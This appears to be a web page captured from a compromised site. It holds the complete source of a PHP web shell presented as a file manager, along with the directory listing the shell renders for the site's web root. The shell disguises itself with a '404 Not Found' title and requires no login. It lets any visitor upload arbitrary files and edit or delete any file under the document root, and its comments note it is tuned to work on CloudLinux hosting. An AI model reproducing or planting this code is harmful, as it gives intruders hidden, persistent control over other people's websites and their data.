PATH:
root
/
paleypartner
<?php /* ===================================================== SAFE PHP FILE MANAGER - Auto web root detect - Start directly in domain root - Anti 0 KB write - CloudLinux safe ===================================================== */ error_reporting(E_ALL); ini_set('display_errors', 1); /* ================= AUTO ROOT DETECT ================= */ function detectWebRoot() { if (!empty($_SERVER['DOCUMENT_ROOT']) && is_dir($_SERVER['DOCUMENT_ROOT'])) { return realpath($_SERVER['DOCUMENT_ROOT']); } $base = realpath(getcwd()); $try = ['public', 'public_html', 'www', 'htdocs']; foreach ($try as $d) { $p = $base . DIRECTORY_SEPARATOR . $d; if (is_dir($p)) return realpath($p); } return $base; } $ROOT = detectWebRoot(); $cwd = $ROOT; /* ================= NAVIGATION ================= */ if (isset($_GET['p'])) { $real = realpath($_GET['p']); if ($real && is_dir($real) && strpos($real, $ROOT) === 0) { $cwd = $real; } } /* ================= BREADCRUMB ================= */ function nav($dir, $root) { $rel = trim(str_replace($root, '', $dir), DIRECTORY_SEPARATOR); $parts = $rel ? explode(DIRECTORY_SEPARATOR, $rel) : []; $path = $root; $out = ['<a href="?">root</a>']; foreach ($parts as $p) { $path .= DIRECTORY_SEPARATOR . $p; $out[] = '<a href="?p=' . urlencode($path) . '">' . htmlspecialchars($p) . '</a>'; } return implode(' / ', $out); } $msg = ''; /* ================= SAVE FILE (ANTI 0 KB) ================= */ if (isset($_POST['save'], $_POST['file'], $_POST['content'])) { $file = basename($_POST['file']); $path = realpath($cwd . DIRECTORY_SEPARATOR . $file); if ($path && is_file($path) && strpos($path, $ROOT) === 0 && is_writable($path)) { $fp = fopen($path, 'c+'); if ($fp) { flock($fp, LOCK_EX); ftruncate($fp, 0); rewind($fp); $bytes = fwrite($fp, $_POST['content']); fflush($fp); flock($fp, LOCK_UN); fclose($fp); if ($bytes !== false && $bytes > 0) { clearstatcache(); $msg = '✔ Saved (' . filesize($path) . ' bytes)'; } else { $msg = '✖ Write blocked (0 KB prevented)'; } } } } /* ================= UPLOAD ================= */ if (!empty($_FILES['upload']['name']) && $_FILES['upload']['error'] === UPLOAD_ERR_OK) { $name = basename($_FILES['upload']['name']); $dest = $cwd . DIRECTORY_SEPARATOR . $name; if (strpos(realpath(dirname($dest)), $ROOT) === 0) { if (move_uploaded_file($_FILES['upload']['tmp_name'], $dest)) { $msg = '✔ Upload success'; } } } /* ================= DELETE ================= */ if (isset($_POST['delete'], $_POST['file'])) { $file = basename($_POST['file']); $path = realpath($cwd . DIRECTORY_SEPARATOR . $file); if ($path && is_file($path) && strpos($path, $ROOT) === 0 && is_writable($path)) { if (unlink($path)) { $msg = '✔ File deleted'; } } } ?> <!doctype html> <html> <head> <meta charset="utf-8"> <title>404 Not Found</title> <style> body{background:#0b0b0b;color:#ddd;font-family:Consolas,monospace} a{color:#6cf} textarea,input{background:#111;color:#eee;border:1px solid #333} ul{list-style:none;padding:0} li{margin:4px 0} .msg{margin:10px 0;color:#9f9} </style> </head> <body> <h3>PATH: <?= nav($cwd, $ROOT); ?></h3> <?php if ($msg): ?> <div class="msg"><?= htmlspecialchars($msg) ?></div> <?php endif; ?> <form method="post" enctype="multipart/form-data"> <input type="file" name="upload"> <input type="submit" value="Upload"> </form> <hr> <?php /* ================= EDIT MODE ================= */ if (isset($_GET['e'])) { $file = basename($_GET['e']); $path = realpath($cwd . DIRECTORY_SEPARATOR . $file); if ($path && is_file($path) && is_readable($path)) { $content = htmlspecialchars(file_get_contents($path)); ?> <form method="post"> <textarea name="content" rows="20" cols="120"><?= $content ?></textarea><br> <input type="hidden" name="file" value="<?= htmlspecialchars($file) ?>"> <input type="submit" name="save" value="Save"> </form> <hr> <?php } } /* ================= LIST FILE ================= */ $h = opendir($cwd); echo '<ul>'; while (($i = readdir($h)) !== false) { if ($i === '.') continue; $p = $cwd . DIRECTORY_SEPARATOR . $i; if (is_dir($p)) { echo '<li>[+] <a href="?p=' . urlencode($p) . '">' . htmlspecialchars($i) . '</a></li>'; } else { echo '<li>[-] ' . htmlspecialchars($i) . ' <a href="?e=' . urlencode($i) . '&p=' . urlencode($cwd) . '">[edit]</a> <form method="post" style="display:inline" onsubmit="return confirm(\'Delete ' . htmlspecialchars($i) . '?\')"> <input type="hidden" name="file" value="' . htmlspecialchars($i) . '"> <input type="submit" name="delete" value="delete"> </form> </li>'; } } closedir($h); echo '</ul>'; ?> </body> </html>
[-] favicon.ico
[edit]
[+]
logs
[+]
..
[+]
tmp
[+]
templates
[-] repair-filenames-polish.php
[edit]
[-] css.min.css
[edit]
[-] __.htaccess
[edit]
[-] link-media-blocks.php
[edit]
[+]
css
[+]
images
[+]
admin1234
[-] sitemap.xml
[edit]
[-] test.php
[edit]
[+]
img
[-] .htaccess
[edit]
[+]
lib
[-] js.min.js
[edit]
[-] product.html
[edit]
[-] sitemap-generator.php
[edit]
[+]
scss_kopia
[+]
userfiles
[+]
fonts
[-] index.php
[edit]
[+]
scss
[+]
js
[-] php.ini
[edit]